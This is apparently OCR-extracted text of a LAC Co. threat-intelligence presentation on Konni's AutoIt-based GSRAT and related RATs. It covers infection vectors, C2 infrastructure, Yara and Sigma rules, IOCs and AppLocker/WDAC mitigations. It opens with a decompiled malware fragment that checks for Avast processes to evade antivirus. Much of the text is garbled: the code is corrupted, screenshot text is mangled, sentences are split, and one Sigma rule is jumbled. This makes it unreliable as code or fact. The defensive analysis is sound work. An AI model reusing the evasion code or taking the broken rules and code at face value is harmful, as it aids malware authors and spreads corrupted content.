$PROCESSNAME = $PROCESSLIST [ $1 1 [ @ ]
If _ARRAYSEARCH ( $AVASTPROCESSES , $PROCESSNAME ) <> + 4294967295 Then
$AVASTRUNNING = True
ExitLoop
EndIf
Next
If $AVASTRUNNING Then
Local $RANDOMINTEGER = Random ( 30 , 60 , 1 )
Local $I = 0
While $I < $RANDOMINTEGER

If ISMULTIPLE ( ) Then

Exit ( @ )
EndIf
$ACALL = D1lCall ( "kernel32.dl11" , "ptr" , "CreateMutexA" , "ptr" , @ , "bool" , 0 ,

"str" , $MUTEXNAME )
Local $SSCRIPTPATH = @ScriptFullPath
Local $AVASTPROCESSES [ 2 |
$AVASTPROCESSES [ @ | = "AvastUI.exe"
$AVASTPROCESSES [ 1 ] = "AvastSvc.exe"
$PROCESSLIST = ProcessList ( )
$AVASTRUNNING = False
For $I = 1 To $PROCESSLIST [ @0 ] [ @ ]
$PROCESSNAME = $PROCESSLIST [ $I ] [ @ ]
If _ARRAYSEARCH ( $AVASTPROCESSES , $PROCESSNAME ) <> + 4294967295 Then
$AVASTRUNNING = True
ExitLoop
EndIf
Next
If $AVASTRUNNING Then
Local $RANDOMINTEGER = Random ( 30 , 60 , 1)
Local $I = 0
While $I < $RANDOMINTEGER

GSRAT (Aug 2025)

© 2026 LAC Co., Ltd.

Custom Lilith RAT
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Multiple Initial Access Vector

* Initial infection vectors categorized into LNK (Type 1 or Type 2) and SNS

* In all three cases, the final payload was Autolt malware

 While LNK attacks continue, a new technique using KakaoTalk was observed in September 2025

LNK Type 1 (GSRAT, Custom Lilith RAT)

LNK Type 2 (Autolt Amadey)

SNS (GSRAT)

—
MAR 2024 JUL 2024 JAN 2025 APR 2025 JUL 2025 SEP 2025 DEC 2025

* Malware activity timeline based on sample submission date """ L NKTypelPayloadretrlevedfromC2(notembedded)

LNK Type 2 : Payload embedded as CAB file
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Case of LNK Type 2

* Extracts decoy and CAB files from the LNK file

* Downloads the Autolt -based Amadey payload from a compromised WordPress site

~ DED =)

Decoy File Compromised site
_mﬁ | using WordPress
mn — N -~ [om
’ I |
" Us u O% powershell.exe 70430734.bat ﬁAmadey
s "E HA
“y H |_B| [
p - %N % BN -
| I — —l | I
activity.cab start.vbs 06859158.bat 29544799.bat di3726.zip * cdp.au3
— * This archive contains other files:
- Autolt3.exe
—>
SEE - i
— - setting.ini
57158325.bat - Startbat
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Another Attack Vector Case

* In South Korea, GSRAT distribution via KakaoTalk has been confirmed, replacing the use of LNK files

* APT actors impersonated psychological counselors and North Korean human rights activists to
distribute malware

202541 9% 52 39 > | Stress Clearmsi
oHIBINIQ? Components Features File Compo... FileName FileSize  Version
=1 ¢ s
oHgBINIR? Tabks Dialogs P51 cmp0  Autolt3.exe 803608  3.2.145
B 2o SOIM H2I| IR E S HH2 QA KoM BTl OIRE B 4 =] AdminExecuteSequence A | | p52  cmp 0  delfino.dl 20372592 3.7.0.0
AERA SA T2 EHCYLIC fl= ﬁfalﬁﬂﬁ*:ﬁ:’—rﬁi:aé% } | AdminUISequence P53 cmp0  delfinc.exe 4248688  3.7.0.0
=x5tapE 90| ZHoks| AL FHEHR N7 LD U= FH | AdvtExecuteSequence e : ]
0iSE Falstn, 7|2g HEsts o I|S¥g REtstol BUE Auct Bina o8 mply bemglealci, SOAE M0
=20| ELct. SRS LA 10| ZHEHS| AFREHA & = : ] P55 cmpl brgbgigk.exe|delfi... 4713888 2.0.2.8
st 9l0] Dl Malstm 7|2 Mato) e - CD”QP‘;':T P59 cmp0  fwhelperdll 5140864  1.0.5.3
ST =20 ELct. — D:Jr;rz; N _p5.10 cmp_0 install.bat 428 <null>
- — Y _p5_ 11 cmp 0 = loKlTrau2 2335062 <null>
Stress Clearzi Stress Clear.zip | Feature e ;
Zp N _p5.12 cmp0 lego.ico 3890 <null>
2871 ~2025. 9. 19 o 5712t ~2025.9. 29, = | FeatureComponents :
;o 2278 M8 22t 2378 MB | File _p5.13 cmp 0 unins__.dat 431 <null>
Sl ] Icon _p5.14 cmp0 unins__.exe 1193161 51.1052.0.0
] InstallExecuteSequence _p56 cmp_l errorvbs 217 <null>
[Figure 3-2] Cases of malicious file distribution via KakaoTalk GSRAT
* . H . . -
Source: Genians z State-Sponsored Remote Wipe Tactics Internal structure of Stress Clear.msi

Targeting Android Devices [16]
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Evolution of Malware LAC

e Around February 2025 , Konni As mal war e Cusdom LditivRAT ctcdh@S&RATF r o m

 LNK-based campaigns targeting South Korea was observed in December 2025 , but the final
payloads have not been confirmed

Custom Lilith RAT
GSRAT

—
DEC 2023 APR 2024 DEC 2024 FEB 2025 AUG 2025 DEC 2025

* Malware activity timeline based on sample compile time
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Overvi ew o fAutddt oMahvard\Samples

* The threat actor uses a combination of original malware  and custom commodity malware

* We have observed that when the compile path contains " Bay", the development path contains
interesting information

Family ‘ Compile Path ‘ Development Path

GSRAT C\Users\User\AppData \Local\Autolt v3 \Aut2Exe\aut5BES8.tmp -

GSRAT C\Users\User\AppData \Local\Autolt v3 \Aut2Exe\autCAB2.tmp -

GSRAT C\Users\Bay\AppData\Local\Autolt v3 \Aut2Exe\aut97A8.tmp Autolt3Wrapper_Oultfile_type=a3x

GSRAT C\Users\admin \AppData \Local\Autolt v3 \Aut2Exe\aut116E.tmp -

GSRATI[17] Unknown Autolt3Wrapper_Outfile= D:\3_Attack Weapon \Autoit \Build\
___Poseidon - Attack \client3.3.14.a3x

Custom Lilith RAT C\Users\Bay\AppData\Local\Autolt v3 \Aut2Exe\aut5D18.tmp Autolt3Wrapper_Outfile= Lilith.a3x

Custom Lilith RAT C\Users\Bay\AppData \Local\Autolt v3 \Aut2Exe\aut7C19.tmp Autolt3Wrapper_Outfile= D:\3_Attack Weapon \Autoit \Build\
Lilith \ Lilith.a3x

RftRAT Loader C\Users\david\AppData\Local\Autolt v3 \Aut2Exe\autB29E.tmp Autolt3Wrapper_Oultfile_type=a3x

Amadey C\Users\user\AppData\Local\Autolt v3 \Aut2Exe\autlFFE.tmp -

Remcos RAT C\Users\Bay\AppData \Local\Autolt v3 \Aut2Exe\aut7F06.tmp Autolt3Wrapper_Outfile= D:\3_Attack Weapon \Autoit \Build \

Remcos \RunBinary.a3x
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Infrastructures

The threat actor abuses WordPress -based web sites as staging infrastructure

They also use multiple VPS and hosting services as C2 servers

0, 0,

Custom Lilith RAT GSRAT

This attack campaign

&F @ oo o & & @ o o

62.113.118.157 94.103.87.212 93.183.93.185  91.107.208.93 116.202.99.218  23.254.225.184  109.234.36.135 194.68.27.204 38.180.249.56

]

Hosting technology LTD Hetzner Online GmbH

Servers Tech Fzco M247 Europe SRL
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Detection and Prevention of GSRAT

Yara

* Detects threats by Yara rules (Appendix A)

Sigma

* Detects threats across multiple log types using Sigma rules (Appendix B)

Autoruns
* Checks for suspicious AutoStart Extensibility Points (ASEPS)

» GSRAT uses legitimate Autolt executables located under "%PUBLIC%"

AppLocker 181 or Windows Defender Application Control (WDAC) [19]

* Restricts Autolt applications (details in later slide)

EDR Product

* Monitors suspicious behavior via LNK files (e.g., The execution of cmd.exe or PowerShell)
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AppLocker

* AppLocker is a built -in application control feature in Windows
Note: According to KB5024351, AppLocker is no longer restricted by Windows edition on Windows 10 and 11

* We can block Autolt application execution using publisher -based rules (digital signatures) in
Group Policy or Local Security Policy

e e 13 1-¥- 2 ESt | EBOTO/T1 X
v ]/t\i‘j—@—aﬁﬁ}iﬁ Y Everyone (BEED#RA) Program Files FAILY-AICH3.. /(A -
¢ \,{Vj :jIJ (;);_RIE ¥ Everyone (BXEMIFE)) Windows 74)L5-RICHZTA. A £, RATT HIS
~ | Windows ME%E - . . .
. SRR S ™ BUILTIN¥A.. (RO 3 A TOT7 A /A COMBIDAT-TEXRETBL LI FOEERELET,
| BEIREARRYY o e —
S Everyone Autolt 11T

o AOUTR RI-RTY T
> = ERESNETUY -
v & tFIUTIOHRE

> (8 ThovkRyy-

FEfTLU)
O=AUTOIT CONSULTING LTD, L=BIRMINGHAM, C=GB

> La O-Al TﬁU?— wIE 2 (D)
> TF2UFABE{L S Wi *

FYRD=2 YRR ¥ R=Tp-
N AEF-ORY - Z7i JLaLF):
> VINIITOFRORYI- *
v T T =3 §IER Y -

~v 73 Applocker 74 D) =T
[T EITRIREI71LD * Lk v
BN C\WINDOWS\system32\cmd.exe = O X

FEITOARBIDSEE

C:¥Users¥test¥Desktop¥mal >Autolt3. exe appcheck. au3 |

COTATSLIRTIN—T R)o—2&YTOovsEhTWWET, FHIZOLTHEK., VAT LA — ‘A
EEEICERWLWEDETLLESLY, oK vt EAG)

. et vr v o s o svessma

AppLocker by Local Security Policy editor Deny execution using publisher properties
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Windows Defender Application Control (WDAC)

* WDAC is a built-in Windows feature for controlling which applications and code can run
* Microsoft App Control Wizard helps you create rules easily

* We can block Autolt application execution using publisher -based rules (digital signatures)

File Rules

Create allow or deny rules for files based on publisher, path, file attributes or hash values.
# Home

Policy Signing Rules List + Add Custom Rule
Policy Editor Action Level Name Associated Files Exceptions Rule ID

Denv Publisher GlobalSian CodeSianina CA - SHA256 - G3 |CN = Autolt Consultina Ltd ID SIGNER S 0

Allow FileAttributes *FileName: * ID ALLOW A 1
Select Policy Allow FileAttributes *FileName: * ID ALLOW A 2

Allow COM Obiect |Provider: AllHostlds Kev: AllKevs

Policy Rules

-1 C:¥WINDOWS¥system32¥cmd X =

C:\Users\test\Desktop\mal>AutoIt3.exe appcheck.au3
'C:\Users\test\Desktop\mal\AutoIt3.exe' (I #H# ® Device Guard KU Y - (C&K->TJOvY 7
ShEFLE.FHECODOVWVTR.,. YR-FEHEFLCEFBALWEDELLES L,

WDAC by App Control Wizard
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Autolt Code Signing

 Legitimate Autolt v3 executables released between 2014 and 2025 have two types of subjects

e Strangely, this application was not code signed from v3.3.10.0 through v3.3.14.1

Autolt Version

Publisher

Subject

Valid From (UTC)

Valid To (UTC)

3.3.17.0-beta - 3.3.18.0 | AUTOIT CONSULTING LTD| CN=AUTOIT CONSULTING LTD, 2023-07-1416:29:47 | 2026-09-03 06:50:17
O=AUTOIT CONSULTING LTD,
L=Worcestershire
ST=West Midlands , C=GB
3.3.16.0-3.3.16.1 Autolt Consulting Ltd CN=Autolt Consulting Ltd, 2020-05-04 08:39:47 | 2023-08-04 06:50:17
: O=Autolt Consulting Ltd, oy .y
3.3.14.273.3.145 Autolt Consulting Ltd L=Birmingham , C=GB 2018-01-24 09:39:13 | 2020-07-04 06:50:17
3.3.14.2 Autolt Consulting Ltd 2014-03-04 06:50:17 | 2017-06-04 06:50:17
3.3.100-33.14.1 (No code signing )
3.3.8.0z3.38.1 Autolt Consulting Ltd CN=Autolt Consulting Ltd, 2011-05-2509:43.07 | 2014-05-2509:43:05
O=Autolt Consulting Ltd, L=Birmingham,
ST=West Midlands, C=GB
3.3.2073.36.1 Jonathan Bennett CN=Jonathan Bennett, 2009-02-09 00:00:00 | 2012-02-09 23:59:59
O=Jonathan Bennett,
STREET=19 Linnet Close,
L=Birmingham, ST=West Midlands,
PostalCode=B30 1XB, C=GB
3.1.1.0-3.3.0.0 Jonathan Bennett E=support@autoitscript.com , 2006-03-02 15:29:50 | 2009-03-02 15:29:50
CN=Jonathan Bennett, C=GB
-3.1.0.15 (No code signing)

© 2026 LAC Co., Ltd.
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Other Characteristics of Autolt

* The product name of Autolti s e IAutbite v3 Scipt§  Awutolt 3v3 Script (Beta) i

* These names are uniformly set all available versions (  Autolt v3)

property value
language 0x0809 (English-UK)
code-page 1200 (Unicode UTF-16, little endian)
) CompanyName Autolt Team
Autolt Version Product Name Company Name = o , .
Comments http://www.autoitscript.com/autoit3/
3.3.18.0 Autolt v3 Script Autolt Team FileDescription Autolt v3 Script
3.3.17.1-beta Autolt v3 Script (Beta) | Autolt Team FileVersion 3,3,18,0
3.3.17.0-beta InternalName Autolt3.exe
3.2.0.0 - Autolt v3 Script Autolt Team LegalCopyright © 1999-2025 Jonathan Bennett & Autolt Team
3.3.16.1 OriginalFilename Autolt3.exe
-3.1.1.0 Autolt v3 Script (None) |] ProductName Autolt v3 Script
ProductVersion 33180
OriginalFilename Autolt3.exe
|] ProductName Autolt v3 Script (Beta)
ProductVersion 232171

VERSIONINFO ofAutolt (v3.3.18.0 and v3.3.17.1-beta)
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Conclusion

© 2026 LAC Co.,

GSRATIs an interesting Autolt -based RAT under development and used by Konni

Konni primarily targets government agencies and private companies in South Korea,

but has also targeted organizations in  Japan and Russia

Konni continues to launch attacks, constantly evolving its methods and
malware
Restricting Autolt application is important to mitigate the risk of script -based

malware being exploited by actors

We propose detection and prevention methods to defend against GSRAT -related

attacks
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Appendix A - Yara Rules

rule suspicious_lnk_file
{
strings:
$magic = {4C 00 00 00 01 14 02 00}
$strl = "/c for /f \"tokens=%\" %f in" wide
$str2 = "/c for /f \"tokens=%\" %a in" wide
condition:
$magic and ($strl or $str2) and filesize > 300KB
}

Detecting suspicious LNK file

rule GSRAT_payload_plain

{

strings:

$sttl = "$GSMUTEX"

$str2 = "$CMD_START"

$str3 = "$CMD_EXPLORER_LIST"
$strda = "$CMD_EXECUTE"

condition:
all of them and filesize > 500KB

Detecting GSRAT

* We recommend deliberate testing and tuning prior to implementation in any production system

© 2026 LAC Co., Ltd.
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Appendix B - Sigma Rules

title: Detects suspicious LNK file search activity
status: Experimental
description: Detects suspicious LNK file search activity
date: 12/23/2025
logsource:

category: process_creation

product: windows
detection:

selection_1:

OriginalFileName|contains: 'CMD.exe'
selection_2:

condition: selection_1 and selection_2
falsepositives:
— Unknown
level: high

CommandLine|contains: 'WindowsPowershell\x.exe | findstr /i rshell.exe'

Detecting LNK file activity

title: Detects suspicious Autoit-related task activity
status: Experimental
description: Detects suspicious Autoit-related task activity
date: 12/23/2025
logsource:
category: process_creation
product: windows
detection:
selection_1:
OriginalFileName|contains: 'sctasks.exe'
selection_2:
CommandLine|contains: 'AutoIt3.exe C:\Users\Public'
condition: selection_1 and selection_2
falsepositives:
— Unknown
level: high

Detecting Autoit -related task activity

* We recommend deliberate testing and tuning prior to implementation in any production system

© 2026 LAC Co., Ltd.

46



Appendix C - Indicator of Compromises

Indicator Type Context
4abfbbfad43e7be34da30abdad4665789d1b2e5a70chef066e6dfacd59albfdbb SHA-256 GSRAT
bcf9044ac1c90206d8d8b7b98cf084d90abdbd6b3bcl0aa9dadcac69465al1f74 SHA-256 GSRAT
7107¢c110e4694f50a39a91f8497b9f0e88dbeba3face0d2123a89bcebf241ald SHA-256 GSRAT
3b4a56b6d86393fa0c058cdd3d26809ef6c956fh6b69fac9d84f9212d5db7eel SHA-256 GSRAT
€9239ba649aec746e3c0088bc56400460b4a03e5f2df132ec7e47cl4cch70cOc SHA-256 Custom Lilith RAT
Oecac57958e77648b5e5b47787612f992175bf22e00dbf8eaddeOb9f12dea2d8 SHA-256 Custom Lilith RAT
d3590bf0017815f77bd286b4c47f186832ab2b48f123f95cadchc25h95ff8ef3 SHA-256 Custom Lilith RAT
0c5b6081e73a500825eae5687961565bf0e918e91002ce5ff10185ac969a792b SHA-256 Custom Lilith RAT
8b396ba6861a39b1801b369eb461311940d6081eae834d949c9aa55bffd0a625 SHA-256 Custom Lilith RAT
22ddecca88cc9644357458467achbch881b0ebb77875525¢17bef30299f03497 SHA-256 Autolt Amadey
9e1a3653029b5378736ealdebbad44cd81988de73b6d8689f9eba792e719da79a SHA-256 Autolt Amadey
38.180.249[.]56 Cc2 GSRAT
65.21.154[]31 c2 GSRAT
116.202.99[.]218 C2 GSRAT
194.68.27[.]204 C2 GSRAT
109.234.36[.]135 C2 GSRAT
62.113.118[]157 c2 Custom Lilith RAT
94.103.87[.]212 C2 Custom Lilith RAT
93.183.93[.]185 C2 Custom Lilith RAT
185.231.154[.]22 C2 Custom Lilith RAT
91.107.208[.]93 C2 Custom Lilith RAT
accuses[.Jorg C2 Autolt Amadey
kpcserver[.Jcom C2 Autolt Amadey
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Appendix D - Autolt Encodings

* Autolt encodes using PRNG as keys, XOR for encryption, and a proprietary compression algorithm

* Much of recent malware is encoded using EAO06 method

Signature
JBO1

EAO4

EAO5

EAO6

-2003

2004

2006

2007

Version
v2.1+

v3.0.102+

v3.2.0.0+

v3.2.6.0+

Key Generation

LCG
* rand()

ISAAC

MT19937

LAME

Encryption

XOR

XOR

XOR

XOR

Compression

Customized LZSS
(Type-A)

Customized LZSS
(Type-B)

Customized LZSS
(Type-B)

Customized LZSS
(Type-B)

AutoHotkey was developed as a
fork from the Autoltv2

The compression algorithm for
AutoHotkey is different from
Autolt (JB01)

Unicode support (v3.2.4.0)

x64 support (v3.2.10.0)
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